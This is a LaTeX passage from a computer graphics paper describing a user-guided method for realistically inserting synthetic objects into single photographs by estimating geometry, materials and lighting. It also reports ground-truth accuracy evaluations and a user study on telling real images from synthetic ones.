In the past, we have seen that people are unable to detect perceptual errors in lighting~\cite{LopezMoreno2010698}. Such observations allow for high level image editing using rough estimates (e.g. materials~\cite{Khan:tog06} and lighting~\cite{kee-farid10a}). Lalonde and Efros~\shortcite{Lalonde_iccv07} consider the color distribution of images to differentiate real and fake images; our user study provides human assessment on this problem as well.
There are standard computational cues for estimating intrinsic images. Albedo tends to display sharp, localized changes (which result in large image gradients), while shading tends to change slowly. These rules-of-thumb inform the Retinex method~\cite{Land71} and important variants~\cite{Horn,Blake,BrelstaffBlake}. Sharp changes of shading do occur at shadow boundaries or normal discontinuities, but cues such as chromaticity~\cite{Funtlightness} or differently lit images~\cite{WeissII} can control these difficulties, as can methods that classify edges into albedo or shading~\cite{Tappenpami,Farenzena}. Tappen et al.~\shortcite{TappenCVPR06} assemble example patches of intrinsic image, guided by the real image, and exploiting the constraint that patches join up. Recent work by Grosse {\em et al.~} demonstrates that the color variant of Retinex is state-of-the-art for single-image decomposition methods~\cite{grosse09intrinsic}.
\section{Modeling}
\label{sec:technique}
To render synthetic objects realistically into a scene, we need estimates of geometry and lighting. At present, there are no methods for obtaining such information accurately and automatically; we incorporate user guidance to synthesize sufficient models.
Our lighting estimation procedure is the primary technical contribution of our method. With a bit of user markup, we automatically decompose the image with a novel intrinsic image method, refine initial light sources based on this decomposition, and estimate light shafts using a shadow detection method.
Our method can be broken into three phases. The first two phases interactively create models of geometry and lighting respectively, and the final phase renders and composites the synthetic objects into the image. An overview of our method is sketched in Algorithm~\ref{alg:technique}.
\subsection{Estimating geometry and materials}
\label{sec:geometry}
To realistically insert objects into a scene, we only need enough geometry to faithfully model lighting effects. We automatically obtain a coarse geometric representation of the scene using the technique of Hedau {\em et al.~}\shortcite{hedau2009iccv}, and estimate vanishing points to recover camera pose automatically. Our interface allows a user to correct errors in these estimates, and also create simple geometry (tables and or near-flat surfaces) through image-space annotations. If necessary, other geometry can be added manually, such as complex objects near inserted synthetic objects. However, we have found that in most cases our simple models suffice in creating realistic results; all results in this paper require no additional complex geometry. Refer to Section~\ref{sec:details:geometry} for implementation details.
\subsection{Estimating illumination}
\label{sec:lights}
Estimating physical light sources automatically from a single image is an extremely difficult task. Instead, we describe a method to obtain a physical lighting model that, when rendered, closely resembles the original image.
We wish to reproduce two different types of lighting: {\it interior lighting}, emitters present within the scene, and {\it exterior lighting}, shafts of strongly directed light which lie outside of the immediate scene (e.g. sunlight).
\boldhead{Interior lighting}
Our geometry is generally rough and not canonical, and our lighting model should account for this; lights should be modeled such that renderings of the scene look similar to the original image. This step should be transparent to the user. We ask the user to mark intuitively where light sources should be placed, and then refine the sources so that the rendered image best matches the original image. Also, intensity estimation and color cast can be difficult to estimate, and we correct these automatically (see Fig~\ref{fig:lightingdemo}).
{\it Initializing light sources}.
To begin, the user clicks polygons in the image corresponding to each source. These polygons are projected onto the geometry to define an area light source. Out-of-view sources are specified with 3D modeling tools.
\floatstyle{boxed}
\newfloat{algorithm}{htp!}{loa}
\floatname{algorithm}{Algorithm}
\begin{algorithm}
\underline{\textsc{legacyInsertion}($img, \textsc{user}$)}
\begin{tabbing}
\emph{Model}\= \emph{ geometry (Sec~\ref{sec:details:geometry}), auto-estimate materials (Sec~\ref{sec:details:materials})} \+ \\
$geometry \gets \textsc{detectBoundaries}(img)$ \\
$geometry \gets \textsc{user}(\text{`Correct boundaries'})$ \\
$geometry \gets \textsc{user}(\text{`Annotate/add additional geometry'})$ \\
$geometry_{mat} \gets \textsc{estMaterials}(img, geometry)$ \emph{[Eq~\ref{eq:decomp}]}\- \\
\emph{Refine initial lights and estimate shafts (Sec~\ref{sec:lights})} \+ \\
$lights \gets \textsc{user}(\text{`Annotate lights/shaft bounding boxes'})$ \\
$lights \gets \textsc{refineLights}(img, geometry)$ \emph{[Eq~\ref{eq:objfunc}]} \\
$lights \gets \textsc{detectShafts}(img)$ \- \\% \emph{[\S~\ref{sec:exteriorlights}]} \- \\
\emph{Insert objects, render and composite (Sec~\ref{sec:details:insertion})} \+ \\
$scene \gets \textsc{createScene}(geometry, lights)$ \\
$scene \gets \textsc{user}(\text{'Add synthetic objects'})$ \\
return \textsc{composite}($img, \textsc{render}(scene))$ \emph{[Eq~\ref{eq:composite}]} \-
\end{tabbing}
\caption{Our method for rendering objects into legacy images
}
\label{alg:technique}
\end{algorithm}
{\it Improving light parameters}.
Our technique is to choose light parameters to minimize the squared pixel-wise differences between the rendered image (with estimated lighting and geometry) and the target image (e.g. the original image). Denoting $R({\bf L})$ as the rendered image parameterized by the current lighting parameter vector ${\bf L}$, $R^{*}$ as the target image, and ${\bf L}_0$ as the initial lighting parameters, we seek to minimize the objective
\begin{equation}
\label{eq:objfunc}
\begin{array}{c}
\displaystyle \mathop{\rm argmin}_{\bf L} \sum_{i \in \text{pixels}} \alpha_{i} (R_{i}({\bf L})-R_{i}^{*})^2 + \sum_{j \in \text{params} } w_j ( {\bf L}_j-{\bf L}_{0_j})^2 \vspace{1mm} \\
\hspace{15mm}\text{subject to: } 0 \leq {\bf L}_j \leq 1 \ \forall j
\vspace{-3.5mm}
\end{array}
\vspace{1mm}
\end{equation}
where $w$ is a weight vector that constrains lighting parameters near their initial values, and $\alpha$ is a per-pixel weighting that places less emphasis on pixels near the ground. Our geometry estimates will generally be worse near the bottom of the scene since we may not have geometry for objects near the floor. In practice, we set $\alpha=1$ for all pixels above the spatial midpoint of the scene (height-wise), and $\alpha$ decreases quadratically from 1 to 0 at floor pixels. Also, in our implementation, ${\bf L}$ contains 6 scalars per light source: RGB intensity, and 3D position. More parameters could also be optimized. For all results, we normalize each light parameter to the range $[0,1]$, and set the corresponding values of $w$ to 10 for spatial parameters and 1 for intensity parameters. A user can also modify these weights depending on the confidence of their manual source estimates.
To render the synthetic scene and determine $R$, we must first estimate materials for all geometry in the scene. We use our own intrinsic image decomposition algorithm to estimate surface reflectance (albedo), and the albedo is then projected onto the scene geometry as a diffuse texture map, as described in Section~\ref{sec:details:materials}.
\begin{figure}[htp]
\begin{center}
\includegraphics[width=85mm]{./figures/interreflections/interreflections.pdf}
\end{center}
\caption{Inserted objects fully participate with the scene lighting as if they were naturally a part of the image. Here, an input image \emph{(a)} is augmented with inserted objects and illuminated with a bright shaft of light \emph{(b)}. Interreflected red light from the dragon onto the brick floor is evident in \emph{(c)}, and the underside of the inserted sphere has a slight red tint from light reflecting off of the brick \emph{(d)}. A registration probe in \emph{(a)} displays the scale and location of the sphere in \emph{(b)}. Best viewed on a high resolution, high contrast display.
}
\label{fig:interreflections}
\end{figure}
{\it Intrinsic decomposition}.
Our decomposition method exploits our geometry estimates. First, indirect irradiance is computed by {\it gathering} radiance values at each 3D patch of geometry that a pixel projects onto. The gathered radiance values are obtained by sampling observed pixel values from the original image, which are projected onto geometry along the camera's viewpoint. We denote this indirect irradiance image as $\Gamma$; this term is equivalent to the integral in the radiosity equation. Given the typical Lambertian assumptions, we assume that the original image $B$ can be expressed as the product of albedo $\rho$ and shading $S$ as well as the sum of reflected direct light $D$ and reflected indirect light $I$. Furthermore, reflected gathered irradiance is equivalent to reflected indirect lighting under these assumptions. This leads to the equations
\begin{equation}
B=\rho S,\ \ \ B=D+I,\ \ \ I=\rho\Gamma,\ \ \ B = D + \rho \Gamma.
\label{eq:intr_assumptions}
\end{equation}
We use the last equation as constraints in our optimization below.
We have developed an objective function to decompose an image $B$ into albedo $\rho$ and direct light $D$ by solving
\begin{equation}
\label{eq:decomp}
\begin{split}
\mathop{\rm argmin}_{\rho, D} &\sum_{i \in \text{pixels}} |\Delta \rho|_i + \gamma_1 m_i (\nabla \rho)_i^2 + \gamma_2 (D_i-D_{0_i})^2 + \gamma_3 (\nabla D)_i^2 \\
&\text{subject to } \ \ \ B = D + \rho \Gamma, \ \ \ 0 \leq \rho \leq 1, \ \ \ 0 \leq D,
\end{split}
\vspace{-3mm}
\end{equation}
where $\gamma_1,\gamma_2,\gamma_3$ are weights, $m$ is a scalar mask taking large values where $B$ has small gradients, and small values otherwise, and $D_0$ is the initial direct lighting estimate. We define $m$ as a sigmoid applied to the gradient magnitude of $B$: $m_i = 1-1/(1+e^{-s(||\nabla B||_i^2-c)})$, setting $s = 10.0$, $c=0.15$ in our implementation.
\begin{figure*}[htp]
\centerline{
\includegraphics[width=44mm]{./figures/shafts/orig.pdf}
\includegraphics[width=45mm]{./figures/shafts/markup.pdf}
\includegraphics[width=44mm]{./figures/shafts/shafts.pdf}
\includegraphics[width=44mm]{./figures/shafts/composite.pdf}
}
\centerline{\Large (a) \hspace{39mm} (b)\hspace{39mm} (c) \hspace{39mm} (d)}
\caption{Our algorithm for estimating exterior lighting (light shafts). Given an input image \emph{(a)}, the user specifies bounding boxes around the shafts and their sources \emph{(b)}. The shafts are detected automatically, and the shaft direction is estimated using the centroid of the the bounding boxes in 3D \emph{(c)}. A physical lighting model (e.g. a masked, infinitely far spotlight) is created from this information, and objects can be rendered inserted realistically into the scene \emph{(d)}.
}
\label{fig:shafts}
\end{figure*}
Our objective function is grounded in widespread intrinsic image assumptions \cite{Land71,Blake,BrelstaffBlake}, namely that shading is spatially slow and albedo consists of piecewise constant patches with potentially sharp boundaries. The first two terms in the objective coerce $\rho$ to be piecewise constant. The first term enforces an L1 sparsity penalty on edges in $\rho$, and the second term smoothes albedo only where $B$'s gradients are small. The final two terms smooth $D$ while ensuring it stays near the initial estimate $D_0$. We set the objective weights to $\gamma_1 = 0.2$, $\gamma_2 = 0.9$, and $\gamma_3 = 0.1$. We initialize $\rho$ using the color variant of Retinex as described by Grosse {\em et al.~}\shortcite{grosse09intrinsic}, and initialize $D$ as $D_0 = B-\rho\Gamma$ (by Eq.~\ref{eq:intr_assumptions}). This optimization problem can be solved in a variety of ways; we use an interior point method (implemented with MATLAB's optimization toolbox).
In our implementation, to improve performance of our lighting optimization (Eq.~\ref{eq:objfunc}), we set the target image as our estimate of the direct term, and render our scene only with direct lighting (which greatly reduces the time in recalculating the rendered image). We choose our method as it utilizes the estimated scene geometry to obtain better albedo estimates, and reduces the computation cost of solving Eq.~\ref{eq:objfunc}, but any decomposition method could be used (e.g. Retinex).
\begin{figure}[tp]
\begin{center}
\includegraphics[width=41mm]{./figures/shaftissues/orig.pdf}
\includegraphics[width=41mm]{./figures/shaftissues/composite.pdf}
\end{center}
\caption{A difficult image for detecting light shafts. Many pixels near the window are saturated, and some shaft patterns on the floor are occluded, as in the image on the left. However, an average of the matte produced for the floor and wall provides an acceptable estimate (used to relight the statue on the right).
}
\label{fig:shaftissues}
\end{figure}
\boldhead{Exterior lighting (light shafts)}
Light shafts are usually produced by the sun, or some other extremely far away source. Thus, the type of light we wish to model can be thought of as purely directional, and each shaft in a scene will have the same direction.
We define a light shaft with a 2D polygonal projection of the shaft and a direction vector. In Figure~\ref{fig:shafts}, the left image shows a scene with many light shafts penetrating the ceiling and projecting onto the floor. Our idea is to detect either the source or the projections of shafts in an image and recover the shaft direction. The user first draws a bounding box encompassing shafts visible in the scene, as well as a bounding box containing shaft sources (windows, etc.). We then use the shadow detection algorithm of Guo {\em et al.~}~\shortcite{guo_cvpr11} to determine a scalar mask that estimates the confidence that a pixel is {\it not} illuminated by a shaft. This method models region based appearance features along with pairwise relations between regions that have similar surface material and illumination. A graph cut inference is then performed to identify the regions that have same material and different illumination conditions, resulting in the confidence mask. The detected shadow mask is then used to recover a soft shadow matte using the spectral matting method of Levin {\em et al.~}~\shortcite{Levin07spectralmatting}. We then use our estimate of scene geometry to recover the direction of the shafts (the direction defined by the two midpoints of the two bounding boxes). However, it may be the case that either the shaft source or the shaft projection is not visible in an image. In this case, we ask the user to provide an estimate of the direction, and automatically project the source/shaft accordingly. Figure~\ref{fig:shafts} shows an example of our shaft procedure where the direction vector is calculated automatically from the marked bounding boxes. Shafts are represented as masked spotlights for rendering.
\begin{figure}[htpb!]
\centerline{
\includegraphics[width=0.49\columnwidth]{./figures/noviceresult/orig-markup.pdf}
\includegraphics[width=0.49\columnwidth]{./figures/noviceresult/composite.pdf}
}
\caption{Our system is intuitive and quick. This result was modeled by a user unfamiliar with our interface (after a short demonstration). From start to finish, this result was created in under 10 minutes (render time not included). User's markup shown on left.
}
\label{fig:noviceresult}
\end{figure}
In some cases, it is difficult to recover accurate shadow mattes for a window on a wall or a shaft on the floor individually. For instance, it is difficult to detect the window in Figure~\ref{fig:shaftissues} using only the cues from the wall. In such cases, we project the recovered mask on the floor along the shaft direction to get the mapping on the wall and average matting results for the wall and floor to improve the results. Similarly, an accurate matte of a window can be used to improve the matte of a shaft on the floor (as in the right image of Figure~\ref{fig:teaser}).
\subsection{Inserting synthetic objects}
\label{sec:details:insertion}
With the lighting and geometry modeled, a user is now free to insert synthetic 3D geometry
into the scene. Once objects have been inserted, the scene can be rendered with any suitable rendering software.\footnote{For our results, we use LuxRender (http://www.luxrender.net)}~Rendering is trivial, as all of the information required by the renderer has been estimated (lights, geometry, materials, etc).
To complete the insertion process, we composite the rendered objects back into the original photograph using the additive differential rendering method~\cite{Debevecprobe}. This method renders two images: one containing synthetic objects $\mathcal{I}_{obj}$, and one without synthetic objects $\mathcal{I}_{noobj}$, as well as an object mask $M$ (scalar image that is 0 everywhere where no object is present, and $(0,1]$ otherwise). The final composite image $\mathcal{I}_{final}$ is obtained by
\begin{equation}
\label{eq:composite}
\mathcal{I}_{final} = M \odot \mathcal{I}_{obj} + (1-M) \odot (\mathcal{I}_b + \mathcal{I}_{obj}-\mathcal{I}_{noobj})
\end{equation}
where $\mathcal{I}_b$ is the input image, and $\odot$ is the Hadamard product.
\begin{figure}[htp]
\begin{center}
\includegraphics[width=0.49\columnwidth]{./figures/results/mirror1/orig.pdf}
\includegraphics[width=0.49\columnwidth]{./figures/results/mirror1/composite.pdf}
\end{center}
\caption{Our method allows for light source insertion and easy material reassignment. Here, a glowing ball is inserted above a synthetic glass sphere, casting a caustic on the table. The mirror has been marked as reflective, allowing synthetic objects to realistically interact with the scene.
}
\label{fig:mirror}
\end{figure}
\section{Implementation details}
\label{sec:details}
\subsection{Modeling geometry}
\label{sec:details:geometry}
Rough scene boundaries ({\it bounding geometry}) are estimated first along with the camera pose, and we provide tools for correcting and supplementing these estimates. Our method also assigns materials to this geometry automatically based on our intrinsic decomposition algorithm (Sec.~\ref{sec:lights}).
\boldhead{Bounding geometry}
We model the bounding geometry as a 3D cuboid; essentially the scene is modeled as a box that circumscribes the camera so that up to five faces are visible. Using the technique of Hedau {\em et al.~}~\shortcite{hedau2009iccv}, we automatically generate an estimate of this box layout for an input image, including camera pose. This method estimates three vanishing points for the scene (which parameterize the box's rotation), as well as a 3D translation to align the box faces with planar faces of the scene (walls, ceiling floor). However, the geometric estimate may be inaccurate, and in that case, we ask the user to manually correct the layout using a simple interface we have developed. The user drags the incorrect vertices of the box to corresponding scene corners, and manipulates vanishing points using a pair of line segments (as in the Google Sketchup\footnote{http://sketchup.google.com} interface) to fully specify the 3D box geometry.
\boldhead{Additional geometry}
We allow the user to easily model {\it extruded geometry}, i.e. geometry defined by a closed 2D curve that is extruded along some 3D vector, such as tables, stairs, and other axis-aligned surfaces. In our interface, a user sketches a 2D curve defining the surface boundary, then clicks a point in the footprint of the object which specifies the 3D height of the object~\cite{criminisi2000}. Previously specified vanishing points and bounding geometry allow for these annotations to be automatically converted to a 3D model.
In our interface, users can also specify {\it occluding surfaces}, complex surfaces which will occlude inserted synthetic objects (if the inserted object is behind the occluding surface). We allow the user to create occlusion boundaries for objects using the interactive spectral matting segmentation approach~\cite{Levin07spectralmatting}. The user defines the interior and exterior of an object by scribbling, and a segmentation matte for the object is computed. These segmentations act as cardboard cutouts in the scene; if an inserted object intersects the segmentation and it is farther from the camera, then it will be occluded by the cutout. We obtain the depth of an object by assuming the lowermost point on its boundary to be its contact point with the floor. Figures~\ref{fig:systemdemo} and~\ref{fig:noviceresult} show examples of both extruded and occluding geometry.
\begin{figure}[htp]
\begin{minipage}[b]{.65\columnwidth}
\includegraphics[width=.49\columnwidth]{./figures/rig/orig_final_gamma_2_2.pdf}
\includegraphics[width=.49\columnwidth]{./figures/rig/markers_final_gamma_2_2.pdf}
\caption{The instrument used for collecting ground truth illumination data. The left image shows the apparatus (a white, diffuse ball resting on a plastic, height-adjustable pole). Using knowledge of the physical scene, we can align a rendered sphere over the probe for error measurements \emph{(right}).
}
\label{fig:rig}
\end{minipage}
\hfill
\begin{minipage}[b]{.29\columnwidth}
\includegraphics[width=\columnwidth]{./figures/colorchecker.pdf}
\caption{The chart used in our ground truth reflectance experiments (Sec.~\ref{sec:eval_intrinsic}).}
\label{fig:colorchecker}
\end{minipage}
\end{figure}
\subsection{Modeling materials}
\label{sec:details:materials}
We assign a material to all estimated geometry based on the albedo estimated during intrinsic image decomposition (Sec~\ref{sec:lights}). We project the estimated albedo along the camera's view vector onto the estimated geometry, and render the objects with a diffuse texture corresponding to projected albedo. This projection applies also to out-of-view geometry (such as the wall behind the camera, or any other hidden geometry). Although unrealistic, this scheme has proven effective for rendering non-diffuse objects (it is generally difficult to tell that out-of-view materials are incorrect; see Fig~\ref{fig:results2}).
\section{Ground truth evaluations}
\label{sec:Evaluation}
Here, we evaluate the physical accuracy of lighting estimates produced by our method as well as our intrinsic decomposition algorithm. We do not strive for physical accuracy (rather, human believability), but we feel that these studies may shed light on how physical accuracy corresponds to people's perception of a real (or synthetic) image. Our studies show that our lighting models are quite accurate, but as we show later in our user study, people are not very good at detecting physical inaccuracies in lighting. Our reflectance estimates are also shown to be more accurate than the color variant of Retinex, which is currently one of the best single-image diffuse reflectance estimators.
\subsection{Lighting evaluation}
\label{sec:eval_lighting}
We have collected a ground truth dataset in which the surface BRDF is known for an object (a white, diffuse ball) in each image. Using our algorithm, we estimate the lighting for each scene and insert a synthetic sphere. Because we know the rough geometry of the scene, we can place the synthetic sphere at the same spatial location as the sphere in the ground truth image.
\boldhead{Dataset} Our dataset contains 200 images from 20 indoor scenes illuminated under varying lighting conditions. We use an inflatable ball painted with flat white paint as the object with known BRDF, which was matched and verified using a Macbeth Color Checker. The ball is suspended by a pole that protrudes from the ground and can be positioned at varying heights (see Fig~\ref{fig:rig}). The images were taken with a Casio EXILIM EX-FH100 using a linear camera response function ($\gamma = 1$).
\begin{figure}[htp]
\begin{center}
\includegraphics[width=80mm]{./figures/error.pdf}
\end{center}
\caption{We report results for both the root mean squared error (RMSE) and the RMSE after subtracting the mean intensity per sphere (RMSE adjusted). The RMSE metric illustrates how our method compares to the ground truth in an absolute metric, and the RMSE adjusted metric gives a sense of how accurate the lighting pattern is on each of the spheres (indicating whether light size/direction is correct). For each metric, we show a box plot where the green horizontal line is the median, and the red box extends to the 25th and 75th percentiles. The averaged RMSE per scene (10 spheres are in each scene) is shown as a blue circle. A baseline (purple square) was computed by rendering all spheres with uniform intensity, and set to be the mean intensity of all images in the dataset. The green triangle indicates the error for the qualitative illustration in Fig~\ref{fig:errorvis}. No outliers exist for either metric, and image intensities range from [0,1].
}
\label{fig:errorgraph}
\end{figure}
\boldhead{Results} For a pair of corresponding ground truth and rendered images, we measure the error by computing the pixel-wise difference of all pixels that have known BRDF. We measure this error for each image in the dataset, and report the root mean squared error (RMSE). Overall, we found the RMSE to be $0.12 \pm 0.049$ for images with an intensity range of $[0,1]$. For comparing lighting patterns on the spheres, we also computed the error after subtracting the mean intensity (per sphere) from each sphere. We found that this error to be $0.085\pm 0.03$. Figure~\ref{fig:errorgraph} shows the RMSE for the entire dataset, as well as the RMSE after subtracting the mean intensity (RMSE adjusted), and a baseline for each metric (comparing against a set of uniformly lit spheres with intensity set as the mean of all dataset images). Our method beats the baseline for every example in the RMSE metric, suggesting decent absolute intensity estimates, and about 70\% of our renders beat the adjusted RMSE baseline. A qualitative visualization for five spheres in one scene from the dataset is also displayed in Figure~\ref{fig:errorvis}. In general, baseline renders are not visually pleasing but still do not have tremendous error, suggesting qualitative comparisons may be more useful when evaluating lightness estimation schemes.
\subsection{Intrinsic decomposition evaluation}
\label{sec:eval_intrinsic}
We also collected a ground truth reflectance dataset to compare to the reflectance estimates obtained from our intrinsic decomposition algorithm. We place a chart with known diffuse reflectances (ranging from dark to bright) in each scene, and measure the error in reflectance obtained by our method as well as Retinex. We show that our method achieves more accurate absolute reflectance than Retinex in nearly every scene in the dataset.
\begin{figure}[htp]
\centerline{\includegraphics[width=75mm]{./figures/errorfig/errorfig2.pdf} }
\caption{Qualitative comparison of our lighting algorithm to ground truth lighting. The top left image shows a scene containing five real spheres with authentic lighting (poles edited out for visual compactness). We estimate illumination using our algorithm and render the spheres into the scene at the same spatial locations \emph{(top right)}. The bottom image matrix shows close-up views of the ground truth and rendered spheres.
See Fig~\ref{fig:errorgraph} for quantitative results.
}
\label{fig:errorvis}
\end{figure}
\boldhead{Dataset} Our reflectance dataset contains 80 images from different indoor scenes containing our ground truth reflectance chart (shown in Fig~\ref{fig:colorchecker}). We created the chart using 15 Color-aid papers; 10 of which are monochrome patches varying between 3\% reflectance (very dark) and 89\% reflectance (very bright). Reflectances were provided by the manufacturer. Each image in the dataset was captured by with the same camera and response as in Sec.~\ref{sec:eval_lighting}.
\boldhead{Results} Using our decomposition method described in Sec.~\ref{sec:lights}, we estimate the per-pixel reflectance of each scene in our dataset. We then compute the mean absolute error (MAE) and root mean squared error (RMSE) for each image over all pixels with known reflectance (i.e. only for the pixels inside monochromatic patches). For further comparison, we compute the same error measures using the color variant of Retinex (as described in Grosse {\em et al.~}~\shortcite{grosse09intrinsic}) as another method for estimating reflectance. Figure~\ref{fig:intrinsiccomp} summarizes these results. Our decomposition method outperforms Retinex for almost a large majority of the scenes in the dataset, and when averaged over the entire dataset, our method produced an MAE and RMSE of .141 and .207 respectively, compared to Retinex's MAE of .205 and RMSE of .272. These results indicate that much improvement can be made to absolute reflectance estimates when the user supplies a small amount of rough geometry, and that our method may improve other user-aided decomposition techniques, such as the method of Carroll~{\em et al.~}\shortcite{Carroll:sg11}.
\begin{figure}[htp!]
\begin{center}
\includegraphics[width=77mm]{./figures/intrinsic_comparison.pdf}
\end{center}
\setlength{\unitlength}{1mm}
\begin{picture}(0,0)
\color{dblue}
\put(14.5, 35.65){\circle{2}}
\color{dyellow}
\put(13.5, 31.1){$\Diamond$}
\end{picture}
\vspace{-4mm}
\caption{Summary of the reflectance evaluation. Errors are measured per scene using a ground truth reflectance chart and reported in MAE and RMSE. For each method and metric, a box plot is shown where the center horizontal line indicates the median, and the box extends to the 25th and 75th percentiles. Results from our decomposition method are displayed in blue (outliers as circles); Retinex results are displayed in gold (outliers as diamonds).
}
\label{fig:intrinsiccomp}
\end{figure}
\subsection{Physical accuracy of intermediate results}
From these studies, we conclude that our method achieves comparatively accurate illumination and reflection estimates. However, it is important to note that these estimates are heavily influenced by the rough estimates of scene geometry, and optimized to produce a perceptually plausible rendered image (with our method) rather than to achieve physical accuracy. Our method adjusts light positions so that the rendered scenes look most like the original image, and our reflectance estimates are guided by rough scene geometry. Thus, the physical accuracy of the light positions and reflectance bear little correlation on the fidelity of the final result.
To verify this point, for each of the scenes in Sec~\ref{sec:eval_lighting}, we plotted the physical accuracy of our illumination estimates versus the physical accuracy of both our light position and reflectance estimates (Fig~\ref{fig:error_correlation}). Light positions were marked by hand and a Macbeth ColorChecker was used for ground truth reflectance. We found that the overall Pearson correlation of illumination error and lighting position error was 0.034, and the correlation between illumination error and reflectance error was 0.074. These values and plots indicate a weak relation for both comparisons. Thus, our method is particularly good at achieving the final result, but this comes at the expense of physical inaccuracies along the way.
\begin{figure}[htp]
\begin{center}
\includegraphics[width=38mm]{./figures/lightpos_vs_illum.pdf}
\hfill
\includegraphics[width=38mm]{./figures/refl_vs_illum.pdf}
\end{center}
\caption{The physical accuracy of our light position estimates as well as reflectance have little influence on the accuracy of illumination. This is likely because the light positions are optimized so that the rendered scene looks most like the original image, and the reflectance estimates are biased by our rough geometry estimates.
}
\label{fig:error_correlation}
\end{figure}
\begin{figure*}
\centerline{
\includegraphics[width=0.5\columnwidth]{./figures/study/overview/real.pdf}
\includegraphics[width=0.5\columnwidth]{./figures/study/overview/ours.pdf}
\includegraphics[width=0.5\columnwidth]{./figures/study/overview/probe.pdf}
\includegraphics[width=0.5\columnwidth]{./figures/study/overview/baseline.pdf} \vspace{-30mm}
}
\centerline{ \color{white} \Huge \hspace{17mm} Real \hspace{25mm} Ours \hspace{16mm} Light probe \hspace{10mm} Baseline \hspace{10mm}}
\vspace{23.5mm}
\centerline{
\includegraphics[width=0.5\columnwidth]{./figures/study/overview/real_cropped.pdf}
\includegraphics[width=0.5\columnwidth]{./figures/study/overview/ours_clutter.pdf}
\includegraphics[width=0.5\columnwidth]{./figures/study/overview/probe_spotlight.pdf}
\includegraphics[width=0.5\columnwidth]{./figures/study/overview/baseline_monochrome.pdf}
\vspace{-30mm}
}
\centerline{ \color{white} \LARGE \hspace{10mm} Cropped \hspace{24mm} Clutter \hspace{24mm} Spotlight \hspace{17mm} Monochrome \hspace{5mm}}
\vspace{25.5mm}
\caption{Examples of methods and variants for Scene 10 in our user study. In the top row, from left to right, we show the real image, and synthetic images produced by our method, the light probe method, and the baseline method. In the bottom row, the four variants are shown.
}
\label{fig:study_overview}
\end{figure*}
\section{User study}
\label{sec:study}
We also devised a user study to measure how well users can differentiate between real images and synthetic images of the same scene under varying conditions. For the study, we show each participant a sequence of images of the same background scene containing various objects. Some of these images are photographs containing no synthetic objects, and other images contain synthetic objects inserted with one of three methods: our method, a variant of Debevec's light probe method\footnote{We use Debevec's method for estimating illumination through the use of a light probe, coupled with our estimates of geometry and reflectance.}~\shortcite{Debevecprobe}, or a baseline method (our method but with a simplified lighting model). Images are always shown in pairs and each of the paired images contain the exact same objects (although some of these objects may be synthetically inserted). The task presented to each user is a two-alternative forced choice test: for each pair of images, the user must choose (by mouse click) the image which they believe appears {\it most realistic}.
\boldhead{Methods} Our study tests three different methods for inserting synthetic objects into an image. For the first, we use our method as described in Section~\ref{sec:technique}, which we will call {\bf ours}. We also compare to a method that uses Debevec's light probe method for estimating the illumination, combined with our coarse geometry and reflectance estimates, referred to as {\bf light probe}. To reproduce this method, we capture HDR photographs of a mirrored sphere in the scene from two angles (for removing artifacts/distortion), use these photographs to create a radiance map, model local geometry, and composite the rendered results~\cite{Debevecprobe}. Much more time was spent creating scenes with the light probe method than our own. The third method, denoted as {\bf baseline}, also uses our geometry and reflectances but places a single point light source near the center of the ceiling rather than using our method for estimating light sources. {\it Note that each of these methods use identical reflectance and geometry estimates; the only change is in illumination.}
\boldhead{Variants} We also test four different variations when presenting users with the images to determine whether certain image cues are more or less helpful in completing this task. These variants are {\bf monochrome} (an image pair is converted from RGB to luminance), {\bf cropped} (shadows and regions of surface contact are cropped out of the image), {\bf clutter} (real background objects are added to the scene), and {\bf spotlight} (a strongly directed out of scene light is used rather than diffuse ceiling light). Note that the spotlight variant requires a new lighting estimate using our method, and a new radiance map to be constructed using the light probe method; also, this variant is not applicable to the baseline method. If no variant is applied, we label its variant as {\bf none}.
\boldhead{Study details}
There are 10 total scenes that are used in the study. Each scene contains the same background objects (walls, table, chairs, etc) and has the same camera pose, but the geometry within the scene changes. We use five real objects with varying geometric and material complexity (shown in Fig~\ref{fig:study_overview}), and have recreated synthetic versions of these objects with 3D modeling software. The 10 different scenes correspond to unique combinations and placements of these objects. Each method was rendered using the same software (LuxRender), and the inserted synthetic geometry/materials remained constant for each scene and method. The rendered images were tone mapped with a linear kernel, but the exposure and gamma values differed per method. Tone mapping was performed so that the set of all scenes across a particular method looked most realistic (i.e. our preparation of images was biased towards realistic appearance for a skilled viewer, rather than physical estimates).
We recruited 30 subjects for this task. All subjects had a minimal graphics background, but a majority of the participants were computer scientists and/or graduate students. Each subject sees 24 pairs of images of identical scenes. 14 of these pairs contain one real and one synthetic image. Of these 14 synthetic images, five are created using our method, five are created using the light probe method, and the remaining four are created using the baseline method. Variants are applied to these pairs of images so that each user will see exactly one combination of each method and the applicable variants. The other 10 pairs of images shown to the subject are all synthetic; one image is created using our method, and the other using the light probe method. No variants are applied to these images.
Users are told that their times are recorded, but no time limit is enforced. We ensure that all scenes, methods, and variants are presented in a randomly permuted order, and that the image placement (left or righthand side) is randomized. In addition to the primary task of choosing the most realistic image in the image pair, users are asked to rate their ability in performing this task both before and after the study using a scale of 1 (poor) to 5 (excellent).
\boldhead{Results}
We analyze the results of the different methods versus the real pictures separately from the results of our method compared to the light probe method. When describing our results, we denote $N$ as the sample size. When asked to choose which image appeared more realistic between our method and the light probe method, participants chose our image 67\% of the time (202 of 300). Using a one-sample, one-tailed t-test, we found that users significantly preferred our method ($p\text{-value} \ll 0.001$), and on average users preferred our method more than the light probe method for all 10 scenes (see Fig~\ref{fig:study_us_v_deb}).
In the synthetic versus real comparison, we found overall that people incorrectly believe the synthetic photograph produced with our method is real 34\% of the time (51 of 150), 27\% of the time with the light probe method (41 of 150), and 17\% for the baseline (20 of 120). Using a two-sample, one-tailed t-test, we found that there was not a significant difference in subjects that chose our method over the light probe method ($p = 0.106$); however, there was a significant difference in subjects choosing our method over the baseline ($p = 0.001$), and in subjects choosing the light probe method over the baseline ($p=0.012$). For real versus synthetic comparisons, we also tested the variants as described above. All variants (aside from ``none'') made subjects perform worse overall in choosing the real photo, but these changes were not statistically significant. Figure~\ref{fig:study_alldata} summarizes these results.
We also surveyed four non-na\"{\i}ve users (graphics graduate students), whose results were not included in the above comparisons. Contrary to our assumption, their results {\it were} consistent with the other 30 na\"{\i}ve subjects. These four subjects selected 2, 3, 5, and 8 synthetic photographs (out of 14 real-synthetic pairs), an average of 35\%, which is actually higher than the general population average of 27\% (averaged over all methods/variants), indicating more trouble in selecting the real photo. In the comparison of our method to the light probe method, these users chose our method 5, 7, 7, and 8 times (out of 10 pairs) for an average of 68\%, consistent with the na\"{\i}ve subject average of 67\%.
